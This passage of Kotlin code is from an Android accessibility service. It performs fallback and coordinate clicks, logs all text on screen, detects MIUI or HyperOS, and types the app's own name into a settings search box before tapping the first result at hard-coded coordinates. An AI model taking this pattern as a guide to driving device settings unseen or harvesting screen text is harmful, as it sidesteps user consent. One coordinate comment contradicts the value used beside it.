                            managedNodes.add(clickableSibling)
                            return success
                        }
                    }

                    // 最后备选方案：坐标点击
                    Log.d(TAG, "🔧 未找到可点击父节点或兄弟节点，尝试坐标点击")
                    performCoordinateClick(node)
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 点击节点失败", e)
            false
        }
    }

    /**
     * 查找可点击的父节点
     */
    private fun findClickableParent(
        node: AccessibilityNodeInfo,
        maxLevels: Int = 10
    ): AccessibilityNodeInfo? {
        try {
            var parent = node.parent
            var level = 0

            while (parent != null && level < maxLevels) {
                if (parent.isClickable && parent.isVisibleToUser && parent.isEnabled) {
                    Log.d(TAG, "🎯 找到可点击的父节点，向上${level + 1}层，类型: ${parent.className}")
                    return parent
                }

                // 记录查找过程中的父节点信息
                Log.v(
                    TAG,
                    "🔍 父节点${level + 1}层: 类型=${parent.className}, 可点击=${parent.isClickable}, 可见=${parent.isVisibleToUser}, 启用=${parent.isEnabled}"
                )

                parent = parent.parent
                level++
            }

            Log.d(TAG, "🔍 查找了${level}层父节点，未找到可点击的父节点")
            return null

        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找可点击父节点异常", e)
            return null
        }
    }

    /**
     * 查找兄弟节点中的可点击元素（Android 13优化）
     */
    private fun findClickableSibling(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        try {
            val parent = node.parent ?: return null

            // 获取目标节点的位置信息，用于查找同一行的兄弟节点
            val targetRect = Rect()
            node.getBoundsInScreen(targetRect)

            Log.d(TAG, "🔍 在兄弟节点中查找可点击元素，目标节点位置: $targetRect")

            // 遍历所有兄弟节点
            for (i in 0 until parent.childCount) {
                val sibling = parent.getChild(i)
                if (sibling != null && sibling != node) {
                    try {
                        if (sibling.isClickable && sibling.isVisibleToUser && sibling.isEnabled) {
                            // 检查兄弟节点是否在同一行（垂直位置相近）
                            val siblingRect = Rect()
                            sibling.getBoundsInScreen(siblingRect)

                            val verticalDistance =
                                Math.abs(targetRect.centerY() - siblingRect.centerY())
                            val isInSameRow = verticalDistance <= 100 // 100像素容差

                            if (isInSameRow) {
                                Log.d(
                                    TAG,
                                    "🎯 找到同行可点击的兄弟节点，类型: ${sibling.className}, 位置: $siblingRect"
                                )
                                return sibling
                            } else {
                                Log.v(
                                    TAG,
                                    "🔍 兄弟节点不在同行: 类型=${sibling.className}, 垂直距离=${verticalDistance}px"
                                )
                            }
                        }
                    } catch (e: Exception) {
                        Log.v(TAG, "🔍 检查兄弟节点异常", e)
                    } finally {
                        // 如果兄弟节点不是我们要返回的，需要回收它
                        if (sibling != null && !sibling.isClickable) {
                            safeRecycleNode(sibling)
                        }
                    }
                }
            }

            Log.d(TAG, "🔍 未在兄弟节点中找到可点击元素")
            return null

        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找可点击兄弟节点异常", e)
            return null
        }
    }

    /**
     * 确认节点位置稳定
     */
    private suspend fun confirmNodePositionStable(node: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔍 开始确认节点位置稳定性")

            // 第一次获取位置
            val rect1 = Rect()
            node.getBoundsInScreen(rect1)
            Log.d(TAG, "🔍 初始位置: $rect1")

            // 短暂等待，避免滚动操作冲突
            delay(150)

            // 第二次获取位置
            val rect2 = Rect()
            node.getBoundsInScreen(rect2)
            Log.d(TAG, "🔍 确认位置: $rect2")

            // 检查位置是否发生变化
            val positionChanged = rect1 != rect2

            if (positionChanged) {
                Log.w(TAG, "⚠️ 检测到节点位置变化，等待位置稳定")

                // 如果位置发生变化，继续等待直到稳定
                var stableCount = 0
                var lastRect = rect2

                for (i in 1..5) { // 最多检查5次
                    delay(200) // 等待200ms

                    val currentRect = Rect()
                    node.getBoundsInScreen(currentRect)

                    if (currentRect == lastRect) {
                        stableCount++
                        Log.d(TAG, "🔍 位置稳定计数: $stableCount")

                        if (stableCount >= 2) { // 连续2次位置相同认为稳定
                            Log.d(TAG, "✅ 节点位置已稳定: $currentRect")
                            return true
                        }
                    } else {
                        stableCount = 0
                        lastRect = currentRect
                        Log.d(TAG, "🔍 位置仍在变化: $currentRect")
                    }
                }

                Log.w(TAG, "⚠️ 等待超时，位置可能仍不稳定")
                return false
            } else {
                Log.d(TAG, "✅ 节点位置稳定，可以安全点击")
                return true
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 位置确认异常", e)
            // 异常情况下允许点击，避免阻塞正常流程
            return true
        }
    }

    /**
     * 坐标点击（基于节点）
     */
    private fun performCoordinateClick(node: AccessibilityNodeInfo): Boolean {
        return try {
            val rect = Rect()
            node.getBoundsInScreen(rect)

            val centerX = rect.centerX().toFloat()
            val centerY = rect.centerY().toFloat()

            return performCoordinateClick(centerX, centerY)
        } catch (e: Exception) {
            Log.e(TAG, "❌ 节点坐标点击失败", e)
            false
        }
    }

    /**
     * 坐标点击（基于坐标）
     */
    private fun performCoordinateClick(x: Float, y: Float): Boolean {
        return try {
            // 创建点击手势
            val path = Path().apply {
                moveTo(x, y)
            }

            val gestureBuilder = GestureDescription.Builder()
            val strokeDescription = GestureDescription.StrokeDescription(path, 0, 100)
            gestureBuilder.addStroke(strokeDescription)

            val gestureResult = service.dispatchGesture(gestureBuilder.build(), null, null)

            Log.d(TAG, "✅ 坐标点击: ($x, $y)")
            gestureResult
        } catch (e: Exception) {
            Log.e(TAG, "❌ 坐标点击失败", e)
            false
        }
    }

    /**
     * 安全回收节点
     */
    private fun safeRecycleNode(node: AccessibilityNodeInfo?) {
        try {
            if (node != null && managedNodes.contains(node)) {
                node.recycle()
                managedNodes.remove(node)
            }
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 节点回收失败", e)
        }
    }

    /**
     * 清理管理的节点
     */
    private fun cleanupManagedNodes() {
        Log.d(TAG, "🧹 清理管理的节点")

        // 使用toList()避免ConcurrentModificationException
        managedNodes.toList().forEach { node ->
            safeRecycleNode(node)
        }
        managedNodes.clear()
    }

    /**
     * 获取当前前台应用包名
     */
    private fun getCurrentPackageName(): String? {
        return try {
            val rootNode = getStableRootInActiveWindow(service)
            val packageName = rootNode?.packageName?.toString()
            safeRecycleNode(rootNode)
            packageName
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 获取当前包名失败", e)
            null
        }
    }


    /**
     * Android 11调试专用：打印页面中所有文本节点
     */
    private fun printAllTextNodesInPage(node: AccessibilityNodeInfo?, depth: Int = 0) {
        if (node == null) return

        val indent = "  ".repeat(depth)
        val nodeText = node.text?.toString()
        val nodeDesc = node.contentDescription?.toString()
        val className = node.className?.toString()
        val isClickable = node.isClickable
        val childCount = node.childCount

        // 打印所有节点信息，包括空文本的节点
        if (!nodeText.isNullOrBlank() || !nodeDesc.isNullOrBlank() || childCount > 0) {
            Log.d(
                TAG,
                "${indent}📝 [深度$depth] Text: '$nodeText', Desc: '$nodeDesc', Class: $className, Clickable: $isClickable, Children: $childCount"
            )
        }

        // 增加深度到10层，确保能看到所有内容
        if (depth < 10) {
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    printAllTextNodesInPage(child, depth + 1)
                }
            }
        }

        // 在根节点时打印统计信息
        if (depth == 0) {
            Log.d(TAG, "🔍 页面分析完成，总共扫描了${countAllNodes(node)}个节点")
        }
    }

    /**
     * 统计页面节点总数
     */
    private fun countAllNodes(node: AccessibilityNodeInfo?): Int {
        if (node == null) return 0

        var count = 1
        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                count += countAllNodes(child)
            }
        }
        return count
    }

    /**
     * 分析当前页面状态
     */
    private fun analyzeCurrentPage(rootNode: AccessibilityNodeInfo?): String {
        if (rootNode == null) return "页面为空"

        val pageTexts = mutableListOf<String>()
        collectAllTexts(rootNode, pageTexts)

        val packageName = rootNode.packageName?.toString() ?: "未知包名"
        val totalTexts = pageTexts.size
        val mainTexts = pageTexts.filter { it.length > 1 }.take(10)

        return "包名: $packageName, 文本节点数: $totalTexts, 主要内容: ${mainTexts.joinToString(", ")}"
    }

    /**
     * 收集页面所有文本
     */
    private fun collectAllTexts(node: AccessibilityNodeInfo?, texts: MutableList<String>) {
        if (node == null) return

        node.text?.toString()?.let { text ->
            if (text.isNotBlank()) {
                texts.add(text)
            }
        }

        node.contentDescription?.toString()?.let { desc ->
            if (desc.isNotBlank()) {
                texts.add(desc)
            }
        }

        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                collectAllTexts(child, texts)
            }
        }
    }

    /**
     * 公共方法：判断小米手机的系统是澎湃OS还是MIUI
     * @return true表示是澎湃OS，false表示是MIUI
     */
    fun isHyperOS(): Boolean {
        return systemType
    }

    /**
     * 公共方法：获取系统类型描述
     * @return 系统类型描述字符串
     */
    fun getSystemTypeDescription(): String {
        return if (systemType) "澎湃OS" else "MIUI"
    }

    /**
     * ✅ 查找并点击我们的APP（通过搜索框）
     * 流程：
     * 1. 在当前页面搜索"搜索应用"输入框
     * 2. 粘贴我们APP的名称到输入框
     * 3. 点击搜索结果的第一个匹配项
     */
    private suspend fun findAndClickOurAppInSearch(): Boolean {
        Log.d(TAG, "🔍 开始通过搜索查找并点击我们的APP")
        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点，无法进行搜索操作")
            return false
        }


        // 1. 获取我们的APP名称
        val appName = try {
            context.packageManager.getApplicationLabel(context.applicationInfo).toString()
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取APP名称失败", e)
            return false
        }
        Log.d(TAG, "🔍 目标APP名称: $appName")

        // 2. 通过坐标点击搜索框（基于截屏分析）
        Log.d(TAG, "🔍 通过坐标点击搜索框")
        
        val displayMetrics = context.resources.displayMetrics
        val screenWidth = displayMetrics.widthPixels
        val screenHeight = displayMetrics.heightPixels
        
        // 基于截屏分析：搜索框位置计算
        // 从图片看，搜索框在标题栏下方，应用更新提示上方
        // 搜索框水平居中，垂直位置大约在屏幕高度的15-20%之间
        val searchBoxX = screenWidth / 2
        val searchBoxY = (screenHeight * 0.18).toInt()  // 屏幕高度的18%位置
        
        Log.d(TAG, "🔍 屏幕尺寸: ${screenWidth}x${screenHeight}")
        Log.d(TAG, "🔍 搜索框坐标: x=$searchBoxX, y=$searchBoxY")
        
        // 如果第一次点击失败，尝试附近的坐标
        val searchBoxPositions = listOf(
            Pair(searchBoxX, searchBoxY),                    // 主要位置
            Pair(searchBoxX, (screenHeight * 0.15).toInt()), // 稍高一点
            Pair(searchBoxX, (screenHeight * 0.21).toInt()), // 稍低一点
            Pair(searchBoxX, (screenHeight * 0.12).toInt())  // 更高一点
        )
        
        // 尝试多个坐标位置点击搜索框
        var clickSuccess = false
        for ((index, position) in searchBoxPositions.withIndex()) {
            val (x, y) = position
            Log.d(TAG, "🔍 尝试坐标[$index]: x=$x, y=$y")
            
            // 执行坐标点击（performClick返回Unit，我们假设点击成功）
            service.performClick(x.toFloat(), y.toFloat())
            Log.d(TAG, "✅ 已执行坐标点击[$index]: ($x, $y)")
            delay(1000L) // 等待搜索框激活
            
            // 检查是否成功激活了搜索框（通过查找输入框来判断）
            val newRootNode = getStableRootInActiveWindow(service)
            if (newRootNode != null) {
                val inputNode = findEditableNode(newRootNode)
                if (inputNode != null) {
                    Log.d(TAG, "✅ 搜索框已激活，找到输入框")
                    clickSuccess = true
                    safeRecycleNode(newRootNode)
                    break
                } else {
                    Log.w(TAG, "⚠️ 坐标[$index]未激活搜索框，尝试下一个")
                    safeRecycleNode(newRootNode)
                    delay(500L) // 短暂等待后尝试下一个坐标
                }
            }
        }
        
        if (!clickSuccess) {
            Log.w(TAG, "❌ 所有坐标点击搜索框都失败")
            safeRecycleNode(rootNode)
            return false
        }

        // 3. 查找激活的输入框并粘贴APP名称
        Log.d(TAG, "🔍 开始查找激活的输入框并粘贴APP名称")
        
        // 重新获取根节点，因为点击后页面可能发生变化
        val newRootNode = getStableRootInActiveWindow(service)
        if (newRootNode == null) {
            Log.w(TAG, "❌ 无法获取新的根节点")
            safeRecycleNode(rootNode)
            return false
        }
        
        // 查找可编辑的输入框
        var inputNode: AccessibilityNodeInfo? = null
        val editableNodes = try {
            newRootNode.findAccessibilityNodeInfosByText("")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找输入框失败", e)
            emptyList()
        }
        
        // 查找可编辑的节点
        for (node in editableNodes) {
            if (node.isEditable && (node.className?.contains("EditText") == true || 
                node.className?.contains("TextView") == true)) {
                inputNode = node
                Log.d(TAG, "✅ 找到可编辑的输入框: ${node.className}")
                break
            }
        }
        
        // 如果没找到，使用递归搜索
        if (inputNode == null) {
            Log.d(TAG, "🔍 系统API未找到输入框，使用递归搜索")
            inputNode = findEditableNode(newRootNode)
        }
        
        if (inputNode == null) {
            Log.w(TAG, "❌ 未找到可编辑的输入框")
            safeRecycleNode(rootNode)
            safeRecycleNode(newRootNode)
            return false
        }
        
        // 设置文本到输入框
        val arguments = Bundle().apply {
            putCharSequence(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, appName)
        }
        
        val setTextSuccess = inputNode.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, arguments)
        if (setTextSuccess) {
            Log.d(TAG, "✅ 成功粘贴APP名称 '$appName' 到搜索框")
            delay(1500L) // 等待搜索结果加载
        } else {
            Log.e(TAG, "❌ 无法粘贴APP名称到搜索框")
            safeRecycleNode(rootNode)
            safeRecycleNode(newRootNode)
            return false
        }

        // 4. 通过坐标点击搜索结果的第一个匹配项（基于截屏分析）
        Log.d(TAG, "🔍 开始通过坐标点击搜索结果")
        
        // 基于截屏分析：搜索结果卡片位置计算
        // 从图片看，搜索结果卡片在搜索框下方，虚拟键盘上方
        // 卡片水平居中，垂直位置大约在屏幕高度的35-40%之间
        val resultCardX = screenWidth / 2
        val resultCardY = (screenHeight * 0.212).toInt()  // 屏幕高度的37.5%位置
        
        Log.d(TAG, "🔍 搜索结果卡片坐标: x=$resultCardX, y=$resultCardY")
        
        // 执行坐标点击（只点击一次，不验证）
        service.performClick(resultCardX.toFloat(), resultCardY.toFloat())
        Log.d(TAG, "✅ 已执行搜索结果坐标点击: ($resultCardX, $resultCardY)")
        delay(1000L) // 等待点击响应
        
        Log.i(TAG, "✅ 成功点击搜索结果中的APP: $appName")
        safeRecycleNode(rootNode)
        safeRecycleNode(newRootNode)
        return true
    }

    /**
     * ✅ 递归查找可编辑的节点
     * @param node 要搜索的节点
     * @return 找到的可编辑节点，如果没找到返回null
     */
    private fun findEditableNode(node: AccessibilityNodeInfo?): AccessibilityNodeInfo? {
        if (node == null) return null
        
        // 检查当前节点是否可编辑
        if (node.isEditable && (node.className?.contains("EditText") == true || 
            node.className?.contains("TextView") == true)) {
            Log.d(TAG, "✅ 递归搜索找到可编辑节点: ${node.className}")
            return node
        }
        
        // 递归搜索子节点
        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                val result = findEditableNode(child)
                if (result != null) {
                    return result
                }
            }
        }
        
        return null
    }


}